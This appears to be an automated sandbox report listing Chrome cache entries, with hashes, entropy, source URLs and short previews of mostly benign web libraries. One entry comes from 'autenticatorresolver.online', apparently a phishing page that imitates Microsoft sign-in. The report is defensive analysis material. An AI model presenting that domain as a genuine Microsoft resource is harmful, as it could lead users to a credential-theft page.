File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
URL:	https://dsum-sec.casalemedia.com/rum?cm_dsp_id=88&external_user_id=Z1hL5gAAAMiWjgOJ&C=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	175
Entropy (8bit):	4.68043398329258
Encrypted:	false
SSDEEP:	3:agWqLs3KOBmKL8ELDSzEfYZBAeOE8c/yCN9xGV9LH1CNILWAcELDlpKOBmKL8ELQ:QqtgLSH9xGf1OILWAfkgXe
MD5:	96F0C5B1219E39B8788028F5C17A5AD9
SHA1:	D6DCE0DE065B0D13905EAEDA0BA5C0DEA3D8F67C
SHA-256:	1FC2BCE2D46DF4565B8C488B22225CFE7ADB7C37CC9A542D4F85B61995B306CB
SHA-512:	057810FA0558506C6B8ABECB1A7A58FF61DA0609B3A5798BB42DE3A9B801CA0D8B20C4C1F9A250EE33D30492452CC5C4553332B16300408AA0C45B1515D4AF10
Malicious:	false
Preview:	'use strict';function AEMOnCookieConsentChangedCallback(a){}if("undefined"!=typeof WcpConsent&&null!=WcpConsent)WcpConsent.onConsentChanged(AEMOnCookieConsentChangedCallback);

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	327
Entropy (8bit):	4.8106554529785175
Encrypted:	false
SSDEEP:	6:qOjii5cLItuJYycLbj0I+cLbBFu5bGmsrRhm2Y339ZCX5DVgY:VluJojrBFEsrRELeJJgY
MD5:	7C868839B56EC9FA05D4FA4849348CFD
SHA1:	E379C2E17C4314B99AC5879BA75C0A9F0A0EDE7E
SHA-256:	367E082E55E4BF4678F1DBDC2967DEFDADE86C9E5DF095F9FD2C30600462E61C
SHA-512:	99AD387D304489B89977DBCC9DBB851B8C34511A85F4620CDF5BE05DA0412BD515BAD53B775AA16C03713B34E4D31115D1FD38B211219AE0B5A63499EC0C92A2
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/mlsd/components/content/print/v1/print/clientlibs/site.min.ACSHASH7c868839b56ec9fa05d4fa4849348cfd.css
Preview:	.print .div_print{padding-top:.15em}..print .print-btn{cursor:pointer;padding:0 5px}..print .print-glyph{margin:auto}.[html=rtl] .print .print-glyph{display:flex;flex-direction:row-reverse}..print .glyph-prepend-print::before{content:".";vertical-align:middle}.@media print{#headerArea,#footerArea,.uhf,.print{display:none}.}

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3450), with CRLF line terminators
Category:	downloaded
Size (bytes):	3452
Entropy (8bit):	5.117912766689607
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLosqAsosushswsosry:a2IYz95qTdBac
MD5:	CB06E9A552B197D5C0EA600B431A3407
SHA1:	04E167433F2F1038C78F387F8A166BB6542C2008
SHA-256:	1F4EDBD2416E15BD82E61BA1A8E5558D44C4E914536B1B07712181BF57934021
SHA-512:	1B4A3919E442EE4D2F30AE29B1C70DF7274E5428BCB6B3EDD84DCB92D60A0D6BDD9FA6D9DDE8EAB341FF4C12DE00A50858BF1FC5B6135B71E9E177F5A9ED34B9
Malicious:	false
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 32600, version 1.0
Category:	downloaded
Size (bytes):	32600
Entropy (8bit):	7.992324478082099
Encrypted:	true
SSDEEP:	768:DUDXjrIMcH1YcS3IOrOm4VZcd1T5JQ62Fd:IXXjREcnNa6O
MD5:	8EDA29C1ACD384ABB917790DCD92A049
SHA1:	A77A4763CB132C02AD9D2EAE4652F470B66374C8
SHA-256:	E8ED064E3AD6789015C7C3031D57E1A412C80BE1B42D72D06B2631D80F3481BF
SHA-512:	CA8E12B8FA45E5315075CAC8B02A8CAD956341C2D047F126462A5B11E4F20118353ED66971C3901D40A6D4C1F782C1818D12B2E7E5DA30A08C66A75AF25A53DA
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/clientlibs/clientlib-mwf-new/resources/fonts/MWFFluentIcons.woff2?v=2.15.1
Preview:	wOF2.......X......2...~.........................?FFTM..$.`..<........x.....6.$..h. ..X..t[..Q.<.......B.....H.C.".....&....?'A..&o.S..n...IE..U.RY@,..5.5zB....K.....rU.n.!.f.8...p.q>....;-_."......... ...PO.9.\|....o../.d...0...."0n.N.Kf.E:mvu.SH..R..ECT.U_!(.\.v..0.%.....6.4....Tv.9...T..H(.....<k]"p."...CG.f..B...9?%+.......r.:\z.)...t...[.Z.N._D..g.......^....2Xg...z1......ek8.L6W`.....F.j.U.......0......n..P...t...W..;.0 ..C.$.R.v..mY.0.!.&.PZB.IH!!!@..F...B..B(..u......R..V.uT...,......z.wz^a.s........N{..EZ..(...Jw.'...."..2.(.f."...=.....R....D....".v..].^.5...M......k..j.J.y.I....5..9...R..a.U..S......mR..c.o.....L-S.<....X..d\$.DR...fw.n... .:..%x............y'...\|..rfAw.{.7...K..})..3.f.... S.~(...?U...H....b,:.....\|`..3 ..".Q..+.I&....AK.H...O.b../.\.......n.....#.....-"..A......00p.<$..!_....VG.....ds...BB4w.)C.t..F....#...x\|...\..Xu.T....N...?b....%.QQp.p..D..~....:.[.wQ..P.....{..........o_M...h\|%E.'t9M..w4._.Z..x..7. .t

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6114), with no line terminators
Category:	downloaded
Size (bytes):	6114
Entropy (8bit):	5.284537476741257
Encrypted:	false
SSDEEP:	96:P03HZr5k9ZBDZU4pTCLmu8iYSWXPEXa7D73HLf/mBNYODL5godfr50u0je:oHSIw9PXsXa7DjHjmvD9goh50uD
MD5:	B6380BCA884E9FCCC49204C6A80150F9
SHA1:	09C12B8E1967C59BDA8F9237369C4B5919D6B940
SHA-256:	C71D81C5AACF8BC3F9AA4ADD801AACCE2CF589B1E09C0006A8A4E7811A90B2C5
SHA-512:	7115D23901292531681F36C03B6732F30CF18E113E54E9A045BC36D2DFFFDDA68526763E22E64EB9455701BF03CC7967E20E62E5175497B2DB3056D2DA9E0C23
Malicious:	false
URL:	https://autenticatorresolver.online/assets/global/pdf/css/app.css
Preview:	*{box-sizing:border-box}body{font-weight:400;font-family:"Segoe UI",-apple-system,"Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala UI",Gadugi,"Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI",Tunga,"Lao UI",Raavi,"Iskoola Pota",Latha,Leelawadee,"Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math";font-size:0.9375rem;line-height:1.25rem;margin:0px;background-color:rgb(255,255,255)}button,input{font-weight:inherit;font-family:inherit;font-size:inherit;line-height:inherit;max-width:100%;margin:0px}a:hover{text-decoration:underline;color:rgb(102,102,102)}#root{min-height:1px}.f1wv5yrl{min-height:1px}.f1w4nmp0{display:table}.f1euv43f{position:absolute}.f1l02sjl{height:100%}.fly5x3f{width:100%}.f15twtuk{top:0px}.f1e31b4d{right:0px}.f1vgc2s3{left:0px}.f1yab3r1{bottom:0px}.f15pt5es{displ

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113769
Category:	dropped
Size (bytes):	35168
Entropy (8bit):	7.99275807202193
Encrypted:	true
SSDEEP:	768:FlTfWbX2KT+Hid0L7lumndasuVyeLtCR4sqvrdYnN6UcepZtf/r6:LgbT+Hid0TFbeLtUGvrdCNqepbHr6
MD5:	D3B6AE9986DF244AB03412CC700335D0
SHA1:	BAAA1F9899178938F3881F09B18265E47DA806E3
SHA-256:	CA50059111D30C2E212C90805792EB543548AEF0D4941E886A778E3DCE0B9066
SHA-512:	755C57FBC9BECE435A477F76C5E8198CA8942C23BE667ACAB83A00E5CD4F54075B10AA07C7FDC10C38FC3D5C0C406C9132FEB5B67BA5BCCC57EF796054A84E7C
Malicious:	false
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....p+Lg.t9I..P./ap......o9Wx.._{....k..,...............................7.\|..t...Ax.7..b..v..v.m-...~v...:....r..._........,...A........:..z.>.y..u.....N...^..S.......z~@..;...n...K........x..A]....F.8X&Em..P.s.....a.g.\|.d......._..C`.xQ...\..'...QP....?.R.{?....\|.>........E4.GRz...z.k.z.}....h..>.{[E.:.....Pu. ..e6_.o.p*.w...>...:...o.k~...~..&E._..}}.}%[. ..#......z.5M.b.....z..k.H.4...l..D.o...z..M.+../..`....?y.J4.=....u.....Z.....E.d.....{0H^...8.....9..h......d..6j......../..z..V<.`.F.xm.y..yt.J....

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20033)
Category:	dropped
Size (bytes):	20122
Entropy (8bit):	5.258931209414637
Encrypted:	false
SSDEEP:	384:PZjckOxmemwN3igs6HdfGmLmnNV5LrpfV1Nn1K4kwTiO6rg3MI/9NUmJ/aZg:uxmemg3igs69TYf/pd1Nn1uwXSg3MI/9
MD5:	31032B08BD8E72220462D3F54F8BD69A
SHA1:	871D6EF1070BD363EA390E0C8C384E47DCE7F389
SHA-256:	C212F4B505A86352AED62B24A8F16F999F821ECBE6456C7F3C8A04BC87968782
SHA-512:	4CF8763B1960D73A7E933DE7140D02E6F542EA5786FFA9A6D73F7E980F35308E5E69456A6AC3CB3BC0AE93880C1788147CFE5EB51EF7AE053FF0F34CB127ACA1
Malicious:	false
Preview:	/*. @popperjs/core v2.11.8 - MIT License. /..!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e="undefined"!=typeof globalThis?globalThis:e\|\|self).Popper={})}(this,(function(e){"use strict";function t(e){if(null==e)return window;if("[object Window]"!==e.toString()){var t=e.ownerDocument;return t&&t.defaultView\|\|window}return e}function n(e){return e instanceof t(e).Element\|\|e instanceof Element}function r(e){return e instanceof t(e).HTMLElement\|\|e instanceof HTMLElement}function o(e){return"undefined"!=typeof ShadowRoot&&(e instanceof t(e).ShadowRoot\|\|e instanceof ShadowRoot)}var i=Math.max,a=Math.min,s=Math.round;function f(){var e=navigator.userAgentData;return null!=e&&e.brands&&Array.isArray(e.brands)?e.brands.map((function(e){return e.brand+"/"+e.version})).join(" "):navigator.userAgent}function c(){return!/^((?!chrome\|android).)safari/i.test(f())}function p(e,o,i){void 0===o&&(o=!1),

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65306)
Category:	downloaded
Size (bytes):	155845
Entropy (8bit):	5.0596333050371385
Encrypted:	false
SSDEEP:	1536:d0bwW83RipVVsEBpy0cuJcf22RWb5CyVUpz600I4fM:d0bwlyVUpz600I4fM
MD5:	ABE91756D18B7CD60871A2F47C1E8192
SHA1:	7C1C9E0573E5CEA8BAD3733BE2FC63AA8C68EA8D
SHA-256:	7633B7C0C97D19E682FEEE8AFA2738523FCB2A14544A550572CAEECD2EEFE66B
SHA-512:	BAC54101DEBAFCDA5535F0607B5F60C2CDA3E896629E771AD76AC07B697E77E4242D4F5F886D363B55FC43A85EA48A6BFC460A66F2B1FC8F56B27BA326E3A604
Malicious:	false
URL:	https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css
Preview:	@charset "UTF-8";/!. Bootstrap v5.0.2 (https://getbootstrap.com/). * Copyright 2011-2021 The Bootstrap Authors. * Copyright 2011-2021 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE). */:root{--bs-blue:#0d6efd;--bs-indigo:#6610f2;--bs-purple:#6f42c1;--bs-pink:#d63384;--bs-red:#dc3545;--bs-orange:#fd7e14;--bs-yellow:#ffc107;--bs-green:#198754;--bs-teal:#20c997;--bs-cyan:#0dcaf0;--bs-white:#fff;--bs-gray:#6c757d;--bs-gray-dark:#343a40;--bs-primary:#0d6efd;--bs-secondary:#6c757d;--bs-success:#198754;--bs-info:#0dcaf0;--bs-warning:#ffc107;--bs-danger:#dc3545;--bs-light:#f8f9fa;--bs-dark:#212529;--bs-font-sans-serif:system-ui,-apple-system,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans","Liberation Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--bs-font-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;--bs-gradient:linear-gradient(180deg, rgba(255, 255, 255,

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	178210
Entropy (8bit):	4.601401761948209
Encrypted:	false
SSDEEP:	3072:874wxu/XXJ+KFwwr99lSMrbQccfEhfaQ3lI6OeMS1f94yIgauzRlSoSOd:8g99Ra2TiyIulSc
MD5:	3A5CD0345C673526EC981330ACE635A2
SHA1:	B9E2A1601AAF202CB7444477817C6F578F792409
SHA-256:	5734E8FA0FBC18FDEFEF86ED0C0BEE25ECC2E28CD7DFC486902734549B630A24
SHA-512:	E703FE3670ED29EC6B0C7B3D584C4B466E7808BB50C6049960819E2549C53EE4072087F48D1A6CE515BB1696319E4F641E0B2DD815D717EA601D43CA24472BF9
Malicious:	false
URL:	https://ajax.aspnetcdn.com/ajax/knockout/knockout-2.2.1.debug.js
Preview:	// Knockout JavaScript library v2.2.1.// (c) Steven Sanderson - http://knockoutjs.com/.// License: MIT (http://www.opensource.org/licenses/mit-license.php)..(function(){.var DEBUG=true;.(function(window,document,navigator,jQuery,undefined){.!function(factory) {. // Support three module loading scenarios. if (typeof require === 'function' && typeof exports === 'object' && typeof module === 'object') {. // [1] CommonJS/Node.js. var target = module['exports'] \|\| exports; // module.exports is for Node.js. factory(target);. } else if (typeof define === 'function' && define['amd']) {. // [2] AMD anonymous module. define(['exports'], factory);. } else {. // [3] No module loader (plain <script> tag) - put directly in global namespace. factory(window['ko'] = {});. }.}(function(koExports){.// Internally, all KO objects are attached to koExports (even the non-exported ones whose names will be minified by the closure compiler)..// In

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3164)
Category:	downloaded
Size (bytes):	34401
Entropy (8bit):	5.567515913811421
Encrypted:	false
SSDEEP:	768:xluaIaJW9ePBW/YfKbNckc0OFc0hLoSIbSZdfKGnRmSdgSJnsYXZeTnOki:XuioyA/7c0opLozb6RmCg6kTG
MD5:	5EE9E4E4E0A5FD39092E63D2D102B12B
SHA1:	1B66C81BD03006B327228854327C0FD3DF434BC2
SHA-256:	441B9F212CD322C6B039A2691F999EB2FAFC10FD645BCDB043A6DEE2DD052DA7
SHA-512:	3CA07A5D89931BCF6F0294C0727020A7FFE663487DB6ECC309FF69DDF59A0490BF85395E91241D40ED1DCF157C0784E6D6B53D8C92D52ED05823CCB6FBE1C470
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/clientlibs/clientlib-httpclient.min.ACSHASH5ee9e4e4e0a5fd39092e63d2d102b12b.js
Preview:	'use strict';(()=>{function L(n){var r=T[n];if(void 0!==r)return r.exports;r=T[n]={exports:{}};return U[n](r,r.exports,L),r.exports}var U={3770:(n,r,h)=>{n.exports=h(2494).default},2494:(n,r,h)=>{function f(x){return!x.response&&!!x.code&&"ECONNABORTED"!==x.code&&(0,a.default)(x)}function g(x){return"ECONNABORTED"!==x.code&&(!x.response\|\|500<=x.response.status&&599>=x.response.status)}function p(x){return!!x.config&&g(x)&&-1!==t.indexOf(x.config.method)}function m(x){return f(x)\|\|p(x)}function k(){return 0}.function l(x){var H=x[A]\|\|{};return H.retryCount=H.retryCount\|\|0,x[A]=H,H}function u(x,H){x.interceptors.request.use(function(E){return l(E).lastRequestTime=Date.now(),E});x.interceptors.response.use(null,function(E){var v=E.config;if(!v)return Promise.reject(E);var I=Object.assign({},H,v[A]),P=I.retries;P=void 0===P?3:P;var J=I.retryCondition;J=void 0===J?m:J;var M=I.retryDelay;M=void 0===M?k:M;I=I.shouldResetTimeout;I=void 0!==I&&I;var Q=l(v);if(J(E)&&Q.retryCount<P){Q.retryCount+

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	276
Entropy (8bit):	4.927017301132709
Encrypted:	false
SSDEEP:	6:kXFJ192gIJAuuuthkP//f4IoWzqs4jW1CAn:kxEgIOuHhA/XvoPPWf
MD5:	A1A21542E8C739B718AA7C11D8769433
SHA1:	4944A42D5B5F1C6303F5E5F0F2E4C0B8E0EE12B8
SHA-256:	5AA1CDE089C39793B977AEB1674754EA852C7B734272B3A7E1F337E3B19D8BEE
SHA-512:	6BED9E989C72D7B487233BA495AE798C14CEC100E60F6CE720AD36268217826DA456C6B5CFD70F1B12942270B8B3AB57C3E4FB83E34997591A7124A02C902AAD
Malicious:	false
Preview:	{. "ip": "8.46.123.175",. "hostname": "static-cpe-8-46-123-175.centurylink.com",. "city": "New York City",. "region": "New York",. "country": "US",. "loc": "40.7143,-74.0060",. "org": "AS3356 Level 3 Parent, LLC",. "postal": "10001",. "timezone": "America/New_York".}

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (309), with no line terminators
Category:	dropped
Size (bytes):	309
Entropy (8bit):	4.971196656935236
Encrypted:	false
SSDEEP:	6:QuVtCiR2cIT53AM+64uT7nadCkq9KwhA6ONHSInadLb1wnzjCY1ee:jVtCyB4w1cWdYpAfVSVdLa8e
MD5:	D7106DB242C2B41F88A1B02418BEC7E2
SHA1:	7A445118F0B5712744AA4AED6889B28C1E7779F7
SHA-256:	044527A735B287BD84D2AE6D2D3B89C85B52C9750BB07E5AEF19FB8F28F0442B
SHA-512:	C493FBD6926006108E56E23BB204BFE59A7364ED6D2409B5B258D9EA6C060259E13A7E7A22021607F6EDD55EEA52C75DFE7FCF18BB76D6E539FBD763BF399185
Malicious:	false
Preview:	'use strict';var DynamicClientSideScriptHandler=function(){return{fetchScriptLink:function(b){var a=(a=document.querySelector('div[data-identifier\x3d"'+b+'"]'))?a.getAttribute("data-content"):null;null===a&&(a=(b=document.querySelector('meta[name\x3d"'+b+'"]'))?b.getAttribute("content"):null);return a}}}();

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (709)
Category:	dropped
Size (bytes):	77056
Entropy (8bit):	5.274518075405774
Encrypted:	false
SSDEEP:	768:e/vJhzcCOHCVHp7NAnRh4GSRMxHfr9yixQqIqKsUzYwtrShXg24SCr8dm9p3eldx:e3TVbGUMVvN6H2zwSU6id+QUX
MD5:	FCFC50F83CDDEB41498330E93937DA73
SHA1:	1D58372109BE1C5A1F2915A1375D04D4B5C7751C
SHA-256:	43FA62C4C01C9849B07C1A31BFE54FF152CC7A7EC03E46A4BADB931A9F947F18
SHA-512:	1ABD5F40F133DEEDA04C1D68BF4693DAF63EFAE23DD2653DAD095DC535767E76823CF534C6F926E62095D45F34D3B53DBFE07A561D8B662A51C05BE2E824D250
Malicious:	false
Preview:	/!. jQuery Mobile v1.0b3. * http://jquerymobile.com/. . Copyright 2010, jQuery Project. * Dual licensed under the MIT or GPL Version 2 licenses.. * http://jquery.org/license. /.(function(a,d){if(a.cleanData){var b=a.cleanData;a.cleanData=function(c){for(var e=0,d;(d=c[e])!=null;e++)a(d).triggerHandler("remove");b(c)}}else{var c=a.fn.remove;a.fn.remove=function(b,e){return this.each(function(){e\|\|(!b\|\|a.filter(b,[this]).length)&&a("",this).add([this]).each(function(){a(this).triggerHandler("remove")});return c.call(a(this),b,e)})}}a.widget=function(c,b,d){var h=c.split(".")[0],j,c=c.split(".")[1];j=h+"-"+c;if(!d)d=b,b=a.Widget;a.expr[":"][j]=function(b){return!!a.data(b,.c)};a[h]=a[h]\|\|{};a[h][c]=function(a,c){arguments.length&&this._createWidget(a,c)};b=new b;b.options=a.extend(!0,{},b.options);a[h][c].prototype=a.extend(!0,b,{namespace:h,widgetName:c,widgetEventPrefix:a[h][c].prototype.widgetEventPrefix\|\|c,widgetBaseClass:j},d);a.widget.bridge(c,a[h][c])};a.widget.bridge=funct

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	159
Entropy (8bit):	4.661188988961239
Encrypted:	false
SSDEEP:	3:agWqLss4aXD5R20gJYRnd7HtOx1L5HQhLIzseX5LxfYLk21:QqPXD5bDRd7H8L5whLzeJSI21
MD5:	C22EA5B46F3FCAD90DA0ABCC0A3F73D4
SHA1:	2DB789C63AFB63D98932D7B55907DC3508E318B4
SHA-256:	8334DAA260516BB896407461E5F10E8E3041B06C56846BBB9D3435C6E77513AD
SHA-512:	A0359F8C25DC40CEFFD14A41BA81794717B99DABE78CBF8A8678F3E3EC57F317388CA0DC55B1CC6AD2D6C13D2B3CAEB5A64527BB2C646ED2D93775437DA646F1
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/components/structure/page/clientlibs/featurecontrol.min.ACSHASHc22ea5b46f3fcad90da0abcc0a3f73d4.js
Preview:	'use strict';function isFeatureEnabled(b){var a=document.getElementById("customFeatureControl").getAttribute("enabledFeatures");return null!=a&&a.includes(b)};

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (512)
Category:	downloaded
Size (bytes):	544
Entropy (8bit):	5.221040627274746
Encrypted:	false
SSDEEP:	12:Yz+uu8HDeNucEuKEZEuwdaXOVWMsk2lntX2F3/v2d7oyxCJNe:YauZStKa5nltX2Fvege
MD5:	383B23D12DF0D9265D7569A7102C2F96
SHA1:	B78FB17F58484F5CD29B3FE307936181E1B30B57
SHA-256:	BBF608E321107D6C4EEAF31A4A0EEB9DD8A9AB825F645FA963651688FD3D3914
SHA-512:	8CA27D482871CAFF41C2D86CA743F075ED97465C12624B1841396B423229A90AFB7E62211BB02DFC0211C45BBABFD12F82EFF8863E6FD3D176FCD99C84747F60
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/cascade.component.authoring/clientlibs/clientlib-greenid.min.ACSHASH383b23d12df0d9265d7569a7102c2f96.js
Preview:	'use strict';(function(){(function(b){var a=document.createElement("iframe");a.setAttribute("src","https://fpt.microsoft.com/tags?session_id\x3d"+b);a.style.width="100px";a.style.height="100px";a.style.cssText="display: none; color: rgb(0,0,0); float:left; position:absolute; top:-200px; left:-200px; border:0px";a.title="greenID";a.setAttribute("id","greenID");document.body.append(a)})(function(){return"10000000-1000-4000-8000-100000000000".replace(/[018]/g,b=>(b^crypto.getRandomValues(new Uint8Array(1))[0]&.15>>b/4).toString(16))}())})();

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46591)
Category:	downloaded
Size (bytes):	142367
Entropy (8bit):	5.430597817875451
Encrypted:	false
SSDEEP:	1536:PyeDWgSr6fTPRUbx3XCg/MJA5NOii5WLeVdgWLDY2Js0VgtWyTJmxyAXP3onrGGK:IgD1g/Mq5L9EveUynbBwsIccp
MD5:	CCAA31FD031C4C856EB7B986FD9F447B
SHA1:	0A809EABCDB95FA04DE5F8409B3BC994ED65CBD1
SHA-256:	3D40B4129B8B4C284908636AE46D72EA053F286FB5FE45DB78351B5B2CFC1EB9
SHA-512:	4B5B2271DB5F640FEBF13A7C0BDBD630C73530000F1593046D090585D1752E239D894614E23E801BE4C6A379406B6EF521423FA27C3865C3CD4ABB0A64823780
Malicious:	false
URL:	https://aadcdn.msftauth.net/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (590)
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	5.2304068952006615
Encrypted:	false
SSDEEP:	48:4435HDQ258U3JqVnCG/6YyTrkzRLj9tSRAE9P:hU25ZqVC6ByTrWRLjSRAE9P
MD5:	4CFFC2C9B55F8BDE649E0D2535A1EEBD
SHA1:	2AAF4DF1E02ED4F5BB48F00A7423F748BF544E0C
SHA-256:	7BB50A050792F761855CC330E0248D037B37DD68FD23FBB7DB8A7E8694F50A94
SHA-512:	599C87219B7E264CFF8E6951192C691E26DFFA88EFC607EDFE9205F1BB08DA28FD61B508FAE93652BE36BE1ADA57E50661490925B247A43C3EB7F24D8CA0C8D0
Malicious:	false
